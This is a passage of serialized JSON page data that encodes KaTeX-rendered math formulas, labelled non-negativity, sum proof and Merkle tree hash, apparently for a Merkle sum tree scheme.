:23,"tag":481,"props":91255,"children":91257},{"className":91256},[1572],[91258],{"type":23,"tag":481,"props":91259,"children":91261},{"className":91260},[1577,19140],[91262,91291],{"type":23,"tag":481,"props":91263,"children":91265},{"className":91264},[1582],[91266,91286],{"type":23,"tag":481,"props":91267,"children":91269},{"className":91268,"style":91108},[1587],[91270],{"type":23,"tag":481,"props":91271,"children":91272},{"style":90635},[91273,91277],{"type":23,"tag":481,"props":91274,"children":91276},{"className":91275,"style":1597},[1596],[],{"type":23,"tag":481,"props":91278,"children":91280},{"className":91279},[1602,1603,1604,1605],[91281],{"type":23,"tag":481,"props":91282,"children":91284},{"className":91283},[1555,19086,1605],[91285],{"type":28,"value":1274},{"type":23,"tag":481,"props":91287,"children":91289},{"className":91288},[19243],[91290],{"type":28,"value":19246},{"type":23,"tag":481,"props":91292,"children":91294},{"className":91293},[1582],[91295],{"type":23,"tag":481,"props":91296,"children":91298},{"className":91297,"style":90662},[1587],[91299],{"type":23,"tag":481,"props":91300,"children":91301},{},[],{"type":23,"tag":481,"props":91303,"children":91305},{"className":91304},[19215],[91306],{"type":28,"value":1269},{"type":23,"tag":481,"props":91308,"children":91310},{"className":91309},[1555,19086],[91311],{"type":28,"value":190},{"type":23,"tag":481,"props":91313,"children":91315},{"className":91314},[1555,19086],[91316],{"type":28,"value":90570},{"type":23,"tag":481,"props":91318,"children":91320},{"className":91319},[1555,19086],[91321],{"type":28,"value":19228},{"type":23,"tag":481,"props":91323,"children":91325},{"className":91324,"style":90579},[1555],[91326],{"type":28,"value":593},{"type":23,"tag":481,"props":91328,"children":91330},{"className":91329},[1555,19086],[91331],{"type":28,"value":53930},{"type":23,"tag":481,"props":91333,"children":91335},{"className":91334},[1555,19086],[91336],{"type":28,"value":90838},{"type":23,"tag":481,"props":91338,"children":91340},{"className":91339},[1555,19086],[91341],{"type":28,"value":48659},{"type":23,"tag":481,"props":91343,"children":91345},{"className":91344},[19237],[91346],{"type":28,"value":12900},{"type":23,"tag":481,"props":91348,"children":91350},{"className":91349,"style":1637},[1636],[],{"type":23,"tag":481,"props":91352,"children":91354},{"className":91353},[1642],[91355],{"type":28,"value":1645},{"type":23,"tag":481,"props":91357,"children":91359},{"className":91358,"style":1637},[1636],[],{"type":23,"tag":481,"props":91361,"children":91363},{"className":91362},[1544],[91364,91368,91373,91378,91383,91388,91393,91399,91404,91410,91415,91420,91425,91430,91435,91440,91445,91450],{"type":23,"tag":481,"props":91365,"children":91367},{"className":91366,"style":90521},[1549],[],{"type":23,"tag":481,"props":91369,"children":91371},{"className":91370},[1555,19086],[91372],{"type":28,"value":190},{"type":23,"tag":481,"props":91374,"children":91376},{"className":91375},[1555,19086],[91377],{"type":28,"value":90570},{"type":23,"tag":481,"props":91379,"children":91381},{"className":91380},[1555,19086],[91382],{"type":28,"value":19228},{"type":23,"tag":481,"props":91384,"children":91386},{"className":91385,"style":90579},[1555],[91387],{"type":28,"value":593},{"type":23,"tag":481,"props":91389,"children":91391},{"className":91390},[1555,19086],[91392],{"type":28,"value":24},{"type":23,"tag":481,"props":91394,"children":91396},{"className":91395,"style":90579},[1555,19086],[91397],{"type":28,"value":91398},"r",{"type":23,"tag":481,"props":91400,"children":91402},{"className":91401},[1555,19086],[91403],{"type":28,"value":1274},{"type":23,"tag":481,"props":91405,"children":91407},{"className":91406},[1555,19086],[91408],{"type":28,"value":91409},"ces",{"type":23,"tag":481,"props":91411,"children":91413},{"className":91412},[19215],[91414],{"type":28,"value":1269},{"type":23,"tag":481,"props":91416,"children":91418},{"className":91417},[1555,19086],[91419],{"type":28,"value":190},{"type":23,"tag":481,"props":91421,"children":91423},{"className":91422},[1555,19086],[91424],{"type":28,"value":90570},{"type":23,"tag":481,"props":91426,"children":91428},{"className":91427},[1555,19086],[91429],{"type":28,"value":19228},{"type":23,"tag":481,"props":91431,"children":91433},{"className":91432,"style":90579},[1555],[91434],{"type":28,"value":593},{"type":23,"tag":481,"props":91436,"children":91438},{"className":91437},[1555,19086],[91439],{"type":28,"value":53930},{"type":23,"tag":481,"props":91441,"children":91443},{"className":91442},[1555,19086],[91444],{"type":28,"value":90838},{"type":23,"tag":481,"props":91446,"children":91448},{"className":91447},[1555,19086],[91449],{"type":28,"value":48659},{"type":23,"tag":481,"props":91451,"children":91453},{"className":91452},[19237],[91454],{"type":28,"value":12900},{"type":23,"tag":77,"props":91456,"children":91457},{},[91458,91617,91618],{"type":23,"tag":64,"props":91459,"children":91461},{"className":91460},[1527,1528],[91462],{"type":23,"tag":481,"props":91463,"children":91465},{"className":91464},[1533],[91466],{"type":23,"tag":481,"props":91467,"children":91469},{"className":91468,"ariaHidden":1539},[1538],[91470,91603],{"type":23,"tag":481,"props":91471,"children":91473},{"className":91472},[1544],[91474,91478,91483,91488,91493,91498,91503,91508,91513,91518,91523,91528,91533,91590,91594,91599],{"type":23,"tag":481,"props":91475,"children":91477},{"className":91476,"style":91024},[1549],[],{"type":23,"tag":481,"props":91479,"children":91481},{"className":91480},[1555,19086],[91482],{"type":28,"value":190},{"type":23,"tag":481,"props":91484,"children":91486},{"className":91485},[1555,19086],[91487],{"type":28,"value":91036},{"type":23,"tag":481,"props":91489,"children":91491},{"className":91490},[1555,19086],[91492],{"type":28,"value":90838},{"type":23,"tag":481,"props":91494,"children":91496},{"className":91495},[1555,19086],[91497],{"type":28,"value":53930},{"type":23,"tag":481,"props":91499,"children":91501},{"className":91500},[1555,19086],[91502],{"type":28,"value":19228},{"type":23,"tag":481,"props":91504,"children":91506},{"className":91505,"style":90579},[1555],[91507],{"type":28,"value":593},{"type":23,"tag":481,"props":91509,"children":91511},{"className":91510},[1555,19086],[91512],{"type":28,"value":48980},{"type":23,"tag":481,"props":91514,"children":91516},{"className":91515,"style":91065},[1555,19086],[91517],{"type":28,"value":91068},{"type":23,"tag":481,"props":91519,"children":91521},{"className":91520},[1555,19086],[91522],{"type":28,"value":90838},{"type":23,"tag":481,"props":91524,"children":91526},{"className":91525},[1555,19086],[91527],{"type":28,"value":1274},{"type":23,"tag":481,"props":91529,"children":91531},{"className":91530},[1555,19086],[91532],{"type":28,"value":19228},{"type":23,"tag":481,"props":91534,"children":91536},{"className":91535},[1555],[91537,91542],{"type":23,"tag":481,"props":91538,"children":91540},{"className":91539,"style":91065},[1555,19086],[91541],{"type":28,"value":628},{"type":23,"tag":481,"props":91543,"children":91545},{"className":91544},[1572],[91546],{"type":23,"tag":481,"props":91547,"children":91549},{"className":91548},[1577,19140],[91550,91579],{"type":23,"tag":481,"props":91551,"children":91553},{"className":91552},[1582],[91554,91574],{"type":23,"tag":481,"props":91555,"children":91557},{"className":91556,"style":91108},[1587],[91558],{"type":23,"tag":481,"props":91559,"children":91560},{"style":91112},[91561,91565],{"type":23,"tag":481,"props":91562,"children":91564},{"className":91563,"style":1597},[1596],[],{"type":23,"tag":481,"props":91566,"children":91568},{"className":91567},[1602,1603,1604,1605],[91569],{"type":23,"tag":481,"props":91570,"children":91572},{"className":91571},[1555,19086,1605],[91573],{"type":28,"value":1274},{"type":23,"tag":481,"props":91575,"children":91577},{"className":91576},[19243],[91578],{"type":28,"value":19246},{"type":23,"tag":481,"props":91580,"children":91582},{"className":91581},[1582],[91583],{"type":23,"tag":481,"props":91584,"children":91586},{"className":91585,"style":90662},[1587],[91587],{"type":23,"tag":481,"props":91588,"children":91589},{},[],{"type":23,"tag":481,"props":91591,"children":91593},{"className":91592,"style":1734},[1636],[],{"type":23,"tag":481,"props":91595,"children":91597},{"className":91596},[1739],[91598],{"type":28,"value":7428},{"type":23,"tag":481,"props":91600,"children":91602},{"className":91601,"style":1734},[1636],[],{"type":23,"tag":481,"props":91604,"children":91606},{"className":91605},[1544],[91607,91612],{"type":23,"tag":481,"props":91608,"children":91611},{"className":91609,"style":91610},[1549],"height:0.6444em;",[],{"type":23,"tag":481,"props":91613,"children":91615},{"className":91614},[1555],[91616],{"type":28,"value":1568},{"type":28,"value":3935},{"type":23,"tag":2875,"props":91619,"children":91620},{},[91621],{"type":28,"value":91622},"(non-negativity)",{"type":23,"tag":77,"props":91624,"children":91625},{},[91626,91964,91965],{"type":23,"tag":64,"props":91627,"children":91629},{"className":91628},[1527,1528],[91630],{"type":23,"tag":481,"props":91631,"children":91633},{"className":91632},[1533],[91634],{"type":23,"tag":481,"props":91635,"children":91637},{"className":91636,"ariaHidden":1539},[1538],[91638,91774],{"type":23,"tag":481,"props":91639,"children":91641},{"className":91640},[1544],[91642,91646,91651,91656,91661,91666,91671,91676,91681,91686,91691,91696,91701,91706,91711,91716,91721,91726,91731,91736,91741,91746,91751,91756,91761,91765,91770],{"type":23,"tag":481,"props":91643,"children":91645},{"className":91644,"style":90521},[1549],[],{"type":23,"tag":481,"props":91647,"children":91649},{"className":91648},[1555,19086],[91650],{"type":28,"value":19228},{"type":23,"tag":481,"props":91652,"children":91654},{"className":91653},[1555,19086],[91655],{"type":28,"value":90549},{"type":23,"tag":481,"props":91657,"children":91659},{"className":91658},[1555,19086],[91660],{"type":28,"value":19228},{"type":23,"tag":481,"props":91662,"children":91664},{"className":91663},[1555,19086],[91665],{"type":28,"value":190},{"type":23,"tag":481,"props":91667,"children":91669},{"className":91668,"style":90591},[1555,19086],[91670],{"type":28,"value":90594},{"type":23,"tag":481,"props":91672,"children":91674},{"className":91673,"style":90579},[1555],[91675],{"type":28,"value":593},{"type":23,"tag":481,"props":91677,"children":91679},{"className":91678},[1555,19086],[91680],{"type":28,"value":190},{"type":23,"tag":481,"props":91682,"children":91684},{"className":91683},[1555,19086],[91685],{"type":28,"value":90570},{"type":23,"tag":481,"props":91687,"children":91689},{"className":91688},[1555,19086],[91690],{"type":28,"value":19228},{"type":23,"tag":481,"props":91692,"children":91694},{"className":91693,"style":90579},[1555],[91695],{"type":28,"value":593},{"type":23,"tag":481,"props":91697,"children":91699},{"className":91698},[1555,19086],[91700],{"type":28,"value":90587},{"type":23,"tag":481,"props":91702,"children":91704},{"className":91703,"style":90591},[1555,19086],[91705],{"type":28,"value":90594},{"type":23,"tag":481,"props":91707,"children":91709},{"className":91708},[1555,19086],[91710],{"type":28,"value":90600},{"type":23,"tag":481,"props":91712,"children":91714},{"className":91713},[1555,19086],[91715],{"type":28,"value":90606},{"type":23,"tag":481,"props":91717,"children":91719},{"className":91718},[19215],[91720],{"type":28,"value":1269},{"type":23,"tag":481,"props":91722,"children":91724},{"className":91723},[1555,19086],[91725],{"type":28,"value":190},{"type":23,"tag":481,"props":91727,"children":91729},{"className":91728},[1555,19086],[91730],{"type":28,"value":90570},{"type":23,"tag":481,"props":91732,"children":91734},{"className":91733},[1555,19086],[91735],{"type":28,"value":19228},{"type":23,"tag":481,"props":91737,"children":91739},{"className":91738,"style":90579},[1555],[91740],{"type":28,"value":593},{"type":23,"tag":481,"props":91742,"children":91744},{"className":91743},[1555,19086],[91745],{"type":28,"value":53930},{"type":23,"tag":481,"props":91747,"children":91749},{"className":91748},[1555,19086],[91750],{"type":28,"value":90838},{"type":23,"tag":481,"props":91752,"children":91754},{"className":91753},[1555,19086],[91755],{"type":28,"value":48659},{"type":23,"tag":481,"props":91757,"children":91759},{"className":91758},[19237],[91760],{"type":28,"value":12900},{"type":23,"tag":481,"props":91762,"children":91764},{"className":91763,"style":1734},[1636],[],{"type":23,"tag":481,"props":91766,"children":91768},{"className":91767},[1739],[91769],{"type":28,"value":6055},{"type":23,"tag":481,"props":91771,"children":91773},{"className":91772,"style":1734},[1636],[],{"type":23,"tag":481,"props":91775,"children":91777},{"className":91776},[1544],[91778,91782,91787,91792,91797,91802,91807,91812,91817,91822,91827,91832,91837,91842,91847,91852,91857,91862,91919,91924,91929,91934,91939,91944,91949,91954,91959],{"type":23,"tag":481,"props":91779,"children":91781},{"className":91780,"style":90521},[1549],[],{"type":23,"tag":481,"props":91783,"children":91785},{"className":91784},[1555],[91786],{"type":28,"value":91169},{"type":23,"tag":481,"props":91788,"children":91790},{"className":91789},[1636],[91791],{"type":28,"value":19187},{"type":23,"tag":481,"props":91793,"children":91795},{"className":91794},[1555,19086],[91796],{"type":28,"value":190},{"type":23,"tag":481,"props":91798,"children":91800},{"className":91799},[1555,19086],[91801],{"type":28,"value":91036},{"type":23,"tag":481,"props":91803,"children":91805},{"className":91804},[1555,19086],[91806],{"type":28,"value":90838},{"type":23,"tag":481,"props":91808,"children":91810},{"className":91809},[1555,19086],[91811],{"type":28,"value":53930},{"type":23,"tag":481,"props":91813,"children":91815},{"className":91814},[1555,19086],[91816],{"type":28,"value":19228},{"type":23,"tag":481,"props":91818,"children":91820},{"className":91819,"style":90579},[1555],[91821],{"type":28,"value":593},{"type":23,"tag":481,"props":91823,"children":91825},{"className":91824},[1555,19086],[91826],{"type":28,"value":190},{"type":23,"tag":481,"props":91828,"children":91830},{"className":91829},[1555,19086],[91831],{"type":28,"value":90570},{"type":23,"tag":481,"props":91833,"children":91835},{"className":91834},[1555,19086],[91836],{"type":28,"value":19228},{"type":23,"tag":481,"props":91838,"children":91840},{"className":91839,"style":90579},[1555],[91841],{"type":28,"value":593},{"type":23,"tag":481,"props":91843,"children":91845},{"className":91844},[1555,19086],[91846],{"type":28,"value":90587},{"type":23,"tag":481,"props":91848,"children":91850},{"className":91849,"style":90591},[1555,19086],[91851],{"type":28,"value":90594},{"type":23,"tag":481,"props":91853,"children":91855},{"className":91854},[1555,19086],[91856],{"type":28,"value":90600},{"type":23,"tag":481,"props":91858,"children":91860},{"className":91859},[1555,19086],[91861],{"type":28,"value":90606},{"type":23,"tag":481,"props":91863,"children":91865},{"className":91864},[1555],[91866,91871],{"type":23,"tag":481,"props":91867,"children":91869},{"className":91868},[1555,19086],[91870],{"type":28,"value":8137},{"type":23,"tag":481,"props":91872,"children":91874},{"className":91873},[1572],[91875],{"type":23,"tag":481,"props":91876,"children":91878},{"className":91877},[1577,19140],[91879,91908],{"type":23,"tag":481,"props":91880,"children":91882},{"className":91881},[1582],[91883,91903],{"type":23,"tag":481,"props":91884,"children":91886},{"className":91885,"style":91108},[1587],[91887],{"type":23,"tag":481,"props":91888,"children":91889},{"style":90635},[91890,91894],{"type":23,"tag":481,"props":91891,"children":91893},{"className":91892,"style":1597},[1596],[],{"type":23,"tag":481,"props":91895,"children":91897},{"className":91896},[1602,1603,1604,1605],[91898],{"type":23,"tag":481,"props":91899,"children":91901},{"className":91900},[1555,19086,1605],[91902],{"type":28,"value":1274},{"type":23,"tag":481,"props":91904,"children":91906},{"className":91905},[19243],[91907],{"type":28,"value":19246},{"type":23,"tag":481,"props":91909,"children":91911},{"className":91910},[1582],[91912],{"type":23,"tag":481,"props":91913,"children":91915},{"className":91914,"style":90662},[1587],[91916],{"type":23,"tag":481,"props":91917,"children":91918},{},[],{"type":23,"tag":481,"props":91920,"children":91922},{"className":91921},[19215],[91923],{"type":28,"value":1269},{"type":23,"tag":481,"props":91925,"children":91927},{"className":91926},[1555,19086],[91928],{"type":28,"value":190},{"type":23,"tag":481,"props":91930,"children":91932},{"className":91931},[1555,19086],[91933],{"type":28,"value":90570},{"type":23,"tag":481,"props":91935,"children":91937},{"className":91936},[1555,19086],[91938],{"type":28,"value":19228},{"type":23,"tag":481,"props":91940,"children":91942},{"className":91941,"style":90579},[1555],[91943],{"type":28,"value":593},{"type":23,"tag":481,"props":91945,"children":91947},{"className":91946},[1555,19086],[91948],{"type":28,"value":53930},{"type":23,"tag":481,"props":91950,"children":91952},{"className":91951},[1555,19086],[91953],{"type":28,"value":90838},{"type":23,"tag":481,"props":91955,"children":91957},{"className":91956},[1555,19086],[91958],{"type":28,"value":48659},{"type":23,"tag":481,"props":91960,"children":91962},{"className":91961},[19237],[91963],{"type":28,"value":12900},{"type":28,"value":3935},{"type":23,"tag":2875,"props":91966,"children":91967},{},[91968],{"type":28,"value":91969},"(sum proof)",{"type":23,"tag":77,"props":91971,"children":91972},{},[91973,92362,92363],{"type":23,"tag":64,"props":91974,"children":91976},{"className":91975},[1527,1528],[91977],{"type":23,"tag":481,"props":91978,"children":91980},{"className":91979},[1533],[91981],{"type":23,"tag":481,"props":91982,"children":91984},{"className":91983,"ariaHidden":1539},[1538],[91985,92071],{"type":23,"tag":481,"props":91986,"children":91988},{"className":91987},[1544],[91989,91994,91999,92005,92011,92016,92021,92026,92031,92037,92042,92048,92053,92058,92062,92067],{"type":23,"tag":481,"props":91990,"children":91993},{"className":91991,"style":91992},[1549],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":481,"props":91995,"children":91997},{"className":91996},[1555,19086],[91998],{"type":28,"value":48659},{"type":23,"tag":481,"props":92000,"children":92002},{"className":92001,"style":90579},[1555,19086],[92003],{"type":28,"value":92004},"er",{"type":23,"tag":481,"props":92006,"children":92009},{"className":92007,"style":92008},[1555,19086],"margin-right:0.03148em;",[92010],{"type":28,"value":86216},{"type":23,"tag":481,"props":92012,"children":92014},{"className":92013,"style":90591},[1555,19086],[92015],{"type":28,"value":90594},{"type":23,"tag":481,"props":92017,"children":92019},{"className":92018},[1555,19086],[92020],{"type":28,"value":48980},{"type":23,"tag":481,"props":92022,"children":92024},{"className":92023,"style":90579},[1555],[92025],{"type":28,"value":593},{"type":23,"tag":481,"props":92027,"children":92029},{"className":92028},[1555,19086],[92030],{"type":28,"value":19228},{"type":23,"tag":481,"props":92032,"children":92034},{"className":92033},[1555,19086],[92035],{"type":28,"value":92036},"ree",{"type":23,"tag":481,"props":92038,"children":92040},{"className":92039,"style":90579},[1555],[92041],{"type":28,"value":593},{"type":23,"tag":481,"props":92043,"children":92045},{"className":92044},[1555,19086],[92046],{"type":28,"value":92047},"ha",{"type":23,"tag":481,"props":92049,"children":92051},{"className":92050},[1555,19086],[92052],{"type":28,"value":8137},{"type":23,"tag":481,"props":92054,"children":92056},{"className":92055},[1555,19086],[92057],{"type":28,"value":81877},{"type":23,"tag":481,"props":92059,"children":92061},{"className":92060,"style":1734},[1636],[],{"type":23,"tag":481,"props":92063,"children":92065},{"className":92064},[1739],[92066],{"type":28,"value":6055},{"type":23,"tag":481,"props":92068,"children":92070},{"className":92069,"style":1734},[1636],[],{"type":23,"tag":481,"props":92072,"children":92074},{"className":92073},[1544],[92075,92079,92084,92089,92094,92099,92104,92109,92114,92119,92124,92181,92186,92190,92195,92200,92257,92262,92267,92271,92276,92281,92285,92290,92295,92357],{"type":23,"tag":481,"props":92076,"children":92078},{"className":92077,"style":1657},[1549],[],{"type":23,"tag":481,"props":92080,"children":92082},{"className":92081,"style":19087},[1555,19086],[92083],{"type":28,"value":19090},{"type":23,"tag":481,"props":92085,"children":92087},{"className":92086},[1555,19086],[92088],{"type":28,"value":90533},{"type":23,"tag":481,"props":92090,"children":92092},{"className":92091},[1555,19086],[92093],{"type":28,"value":1274},{"type":23,"tag":481,"props":92095,"children":92097},{"className":92096},[1555,19086],[92098],{"type":28,"value":68094},{"type":23,"tag":481,"props":92100,"children":92102},{"className":92101},[1555,19086],[92103],{"type":28,"value":90549},{"type":23,"tag":481,"props":92105,"children":92107},{"className":92106},[1555,19086],[92108],{"type":28,"value":53930},{"type":23,"tag":481,"props":92110,"children":92112},{"className":92111},[19215],[92113],{"type":28,"value":618},{"type":23,"tag":481,"props":92115,"children":92117},{"className":92116},[1555,19086],[92118],{"type":28,"value":92047},{"type":23,"tag":481,"props":92120,"children":92122},{"className":92121},[1555,19086],[92123],{"type":28,"value":8137},{"type":23,"tag":481,"props":92125,"children":92127},{"className":92126},[1555],[92128,92133],{"type":23,"tag":481,"props":92129,"children":92131},{"className":92130},[1555,19086],[92132],{"type":28,"value":81877},{"type":23,"tag":481,"props":92134,"children":92136},{"className":92135},[1572],[92137],{"type":23,"tag":481,"props":92138,"children":92140},{"className":92139},[1577,19140],[92141,92170],{"type":23,"tag":481,"props":92142,"children":92144},{"className":92143},[1582],[92145,92165],{"type":23,"tag":481,"props":92146,"children":92148},{"className":92147,"style":90631},[1587],[92149],{"type":23,"tag":481,"props":92150,"children":92151},{"style":90635},[92152,92156],{"type":23,"tag":481,"props":92153,"children":92155},{"className":92154,"style":1597},[1596],[],{"type":23,"tag":481,"props":92157,"children":92159},{"className":92158},[1602,1603,1604,1605],[92160],{"type":23,"tag":481,"props":92161,"children":92163},{"className":92162},[1555,1605],[92164],{"type":28,"value":1568},{"type":23,"tag":481,"props":92166,"children":92168},{"className":92167},[19243],[92169],{"type":28,"value":19246},{"type":23,"tag":481,"props":92171,"children":92173},{"className":92172},[1582],[92174],{"type":23,"tag":481,"props":92175,"children":92177},{"className":92176,"style":90662},[1587],[92178],{"type":23,"tag":481,"props":92179,"children":92180},{},[],{"type":23,"tag":481,"props":92182,"children":92184},{"className":92183},[1668],[92185],{"type":28,"value":1671},{"type":23,"tag":481,"props":92187,"children":92189},{"className":92188,"style":1675},[1636],[],{"type":23,"tag":481,"props":92191,"children":92193},{"className":92192},[1555,19086],[92194],{"type":28,"value":92047},{"type":23,"tag":481,"props":92196,"children":92198},{"className":92197},[1555,19086],[92199],{"type":28,"value":8137},{"type":23,"tag":481,"props":92201,"children":92203},{"className":92202},[1555],[92204,92209],{"type":23,"tag":481,"props":92205,"children":92207},{"className":92206},[1555,19086],[92208],{"type":28,"value":81877},{"type":23,"tag":481,"props":92210,"children":92212},{"className":92211},[1572],[92213],{"type":23,"tag":481,"props":92214,"children":92216},{"className":92215},[1577,19140],[92217,92246],{"type":23,"tag":481,"props":92218,"children":92220},{"className":92219},[1582],[92221,92241],{"type":23,"tag":481,"props":92222,"children":92224},{"className":92223,"style":90631},[1587],[92225],{"type":23,"tag":481,"props":92226,"children":92227},{"style":90635},[92228,92232],{"type":23,"tag":481,"props":92229,"children":92231},{"className":92230,"style":1597},[1596],[],{"type":23,"tag":481,"props":92233,"children":92235},{"className":92234},[1602,1603,1604,1605],[92236],{"type":23,"tag":481,"props":92237,"children":92239},{"className":92238},[1555,1605],[92240],{"type":28,"value":1558},{"type":23,"tag":481,"props":92242,"children":92244},{"className":92243},[19243],[92245],{"type":28,"value":19246},{"type":23,"tag":481,"props":92247,"children":92249},{"className":92248},[1582],[92250],{"type":23,"tag":481,"props":92251,"children":92253},{"className":92252,"style":90662},[1587],[92254],{"type":23,"tag":481,"props":92255,"children":92256},{},[],{"type":23,"tag":481,"props":92258,"children":92260},{"className":92259},[1668],[92261],{"type":28,"value":1671},{"type":23,"tag":481,"props":92263,"children":92265},{"className":92264},[1636],[92266],{"type":28,"value":19187},{"type":23,"tag":481,"props":92268,"children":92270},{"className":92269,"style":1675},[1636],[],{"type":23,"tag":481,"props":92272,"children":92274},{"className":92273},[1555],[92275],{"type":28,"value":7074},{"type":23,"tag":481,"props":92277,"children":92279},{"className":92278},[1668],[92280],{"type":28,"value":1671},{"type":23,"tag":481,"props":92282,"children":92284},{"className":92283,"style":1675},[1636],[],{"type":23,"tag":481,"props":92286,"children":92288},{"className":92287},[1555,19086],[92289],{"type":28,"value":92047},{"type":23,"tag":481,"props":92291,"children":92293},{"className":92292},[1555,19086],[92294],{"type":28,"value":8137},{"type":23,"tag":481,"props":92296,"children":92298},{"className":92297},[1555],[92299,92304],{"type":23,"tag":481,"props":92300,"children":92302},{"className":92301},[1555,19086],[92303],{"type":28,"value":81877},{"type":23,"tag":481,"props":92305,"children":92307},{"className":92306},[1572],[92308],{"type":23,"tag":481,"props":92309,"children":92311},{"className":92310},[1577,19140],[92312,92346],{"type":23,"tag":481,"props":92313,"children":92315},{"className":92314},[1582],[92316,92341],{"type":23,"tag":481,"props":92317,"children":92319},{"className":92318,"style":90631},[1587],[92320],{"type":23,"tag":481,"props":92321,"children":92322},{"style":90635},[92323,92327],{"type":23,"tag":481,"props":92324,"children":92326},{"className":92325,"style":1597},[1596],[],{"type":23,"tag":481,"props":92328,"children":92330},{"className":92329},[1602,1603,1604,1605],[92331],{"type":23,"tag":481,"props":92332,"children":92334},{"className":92333},[1555,1605],[92335],{"type":23,"tag":481,"props":92336,"children":92338},{"className":92337},[1555,1605],[92339],{"type":28,"value":92340},"511",{"type":23,"tag":481,"props":92342,"children":92344},{"className":92343},[19243],[92345],{"type":28,"value":19246},{"type":23,"tag":481,"props":92347,"children":92349},{"className":92348},[1582],[92350],{"type":23,"tag":481,"props":92351,"children":92353},{"className":92352,"style":90662},[1587],[92354],{"type":23,"tag":481,"props":92355,"children":92356},{},[],{"type":23,"tag":481,"props":92358,"children":92360},{"className":92359},[19237],[92361],{"type":28,"value":642},{"type":28,"value":3935},{"type":23,"tag":2875,"props":92364,"children":92365},{},[92366],{"type":28,"value":92367},"(merkle tree hash)",{"type":23,"tag":77,"props":92369,"children":92370},{},[92371,92646,92647,92652,92654,92659],{"type":23,"tag":64,"props":92372,"children":92374},{"className":92373},[1527,1528],[92375],{"type":23,"tag":481,"props":92376,"children":92378},{"className":92377},[1533],[92379],{"type":23,"tag":481,"props":92380,"children":92382},{"className":92381,"ariaHidden":1539},[1538],[92383,92576],{"type":23,"tag":481,"props":92384,"children":92386},{"className":92385},[1544],[92387,92391,92396,92401,92406,92411,92416,92421,92426,92431,92436,92441,92446,92451,92456,92461,92518,92523,92528,92533,92538,92543,92548,92553,92558,92563,92567,92572],{"type":23,"tag":481,"props":92388,"children":92390},{"className":92389,"style":90521},[1549],[],{"type":23,"tag":481,"props":92392,"children":92394},{"className":92393},[1555,19086],[92395],{"type":28,"value":190},{"type":23,"tag":481,"props":92397,"children":92399},{"className":92398},[1555,19086],[92400],{"type":28,"value":91036},{"type":23,"tag":481,"props":92402,"children":92404},{"className":92403},[1555,19086],[92405],{"type":28,"value":90838},{"type":23,"tag":481,"props":92407,"children":92409},{"className":92408},[1555,19086],[92410],{"type":28,"value":53930},{"type":23,"tag":481,"props":92412,"children":92414},{"className":92413},[1555,19086],[92415],{"type":28,"value":19228},{"type":23,"tag":481,"props":92417,"children":92419},{"className":92418,"style":90579},[1555],[92420],{"type":28,"value":593},{"type":23,"tag":481,"props":92422,"children":92424},{"className":92423},[1555,19086],[92425],{"type":28,"value":190},{"type":23,"tag":481,"props":92427,"children":92429},{"className":92428},[1555,19086],[92430],{"type":28,"value":90570},{"type":23,"tag":481,"props":92432,"children":92434},{"className":92433},[1555,19086],[92435],{"type":28,"value":19228},{"type":23,"tag":481,"props":92437,"children":92439},{"className":92438,"style":90579},[1555],[92440],{"type":28,"value":593},{"type":23,"tag":481,"props":92442,"children":92444},{"className":92443},[1555,19086],[92445],{"type":28,"value":90587},{"type":23,"tag":481,"props":92447,"children":92449},{"className":92448,"style":90591},[1555,19086],[92450],{"type":28,"value":90594},{"type":23,"tag":481,"props":92452,"children":92454},{"className":92453},[1555,19086],[92455],{"type":28,"value":90600},{"type":23,"tag":481,"props":92457,"children":92459},{"className":92458},[1555,19086],[92460],{"type":28,"value":90606},{"type":23,"tag":481,"props":92462,"children":92464},{"className":92463},[1555],[92465,92470],{"type":23,"tag":481,"props":92466,"children":92468},{"className":92467},[1555,19086],[92469],{"type":28,"value":8137},{"type":23,"tag":481,"props":92471,"children":92473},{"className":92472},[1572],[92474],{"type":23,"tag":481,"props":92475,"children":92477},{"className":92476},[1577,19140],[92478,92507],{"type":23,"tag":481,"props":92479,"children":92481},{"className":92480},[1582],[92482,92502],{"type":23,"tag":481,"props":92483,"children":92485},{"className":92484,"style":91108},[1587],[92486],{"type":23,"tag":481,"props":92487,"children":92488},{"style":90635},[92489,92493],{"type":23,"tag":481,"props":92490,"children":92492},{"className":92491,"style":1597},[1596],[],{"type":23,"tag":481,"props":92494,"children":92496},{"className":92495},[1602,1603,1604,1605],[92497],{"type":23,"tag":481,"props":92498,"children":92500},{"className":92499},[1555,19086,1605],[92501],{"type":28,"value":1274},{"type":23,"tag":481,"props":92503,"children":92505},{"className":92504},[19243],[92506],{"type":28,"value":19246},{"type":23,"tag":481,"props":92508,"children":92510},{"className":92509},[1582],[92511],{"type":23,"tag":481,"props":92512,"children":92514},{"className":92513,"style":90662},[1587],[92515],{"type":23,"tag":481,"props":92516,"children":92517},{},[],{"type":23,"tag":481,"props":92519,"children":92521},{"className":92520},[19215],[92522],{"type":28,"value":1269},{"type":23,"tag":481,"props":92524,"children":92526},{"className":92525},[1555,19086],[92527],{"type":28,"value":190},{"type":23,"tag":481,"props":92529,"children":92531},{"className":92530},[1555,19086],[92532],{"type":28,"value":90570},{"type":23,"tag":481,"props":92534,"children":92536},{"className":92535},[1555,19086],[92537],{"type":28,"value":19228},{"type":23,"tag":481,"props":92539,"children":92541},{"className":92540,"style":90579},[1555],[92542],{"type":28,"value":593},{"type":23,"tag":481,"props":92544,"children":92546},{"className":92545},[1555,19086],[92547],{"type":28,"value":53930},{"type":23,"tag":481,"props":92549,"children":92551},{"className":92550},[1555,19086],[92552],{"type":28,"value":90838},{"type":23,"tag":481,"props":92554,"children":92556},{"className":92555},[1555,19086],[92557],{"type":28,"value":48659},{"type":23,"tag":481,"props":92559,"children":92561},{"className":92560},[19237],[92562],{"type":28,"value":12900},{"type":23,"tag":481,"props":92564,"children":92566},{"className":92565,"style":1734},[1636],[],{"type":23,"tag":481,"props":92568,"children":92570},{"className":92569},[1739],[92571],{"type":28,"value":3282},{"type":23,"tag":481,"props":92573,"children":92575},{"className":92574,"style":1734},[1636],[],{"type":23,"tag":481,"props":92577,"children":92579},{"className":92578},[1544],[92580,92584,92591,92596,92602,92607,92612,92617,92623,92628,92634,92640],{"type":23,"tag":481,"props":92581,"children":92583},{"className":92582,"style":90521},[1549],[],{"type":23,"tag":481,"props":92585,"children":92588},{"className":92586,"style":92587},[1555,19086],"margin-right:0.10903em;",[92589],{"type":28,"value":92590},"M",{"type":23,"tag":481,"props":92592,"children":92594},{"className":92593},[1555,19086],[92595],{"type":28,"value":74299},{"type":23,"tag":481,"props":92597,"children":92600},{"className":92598,"style":92599},[1555,19086],"margin-right:0.07847em;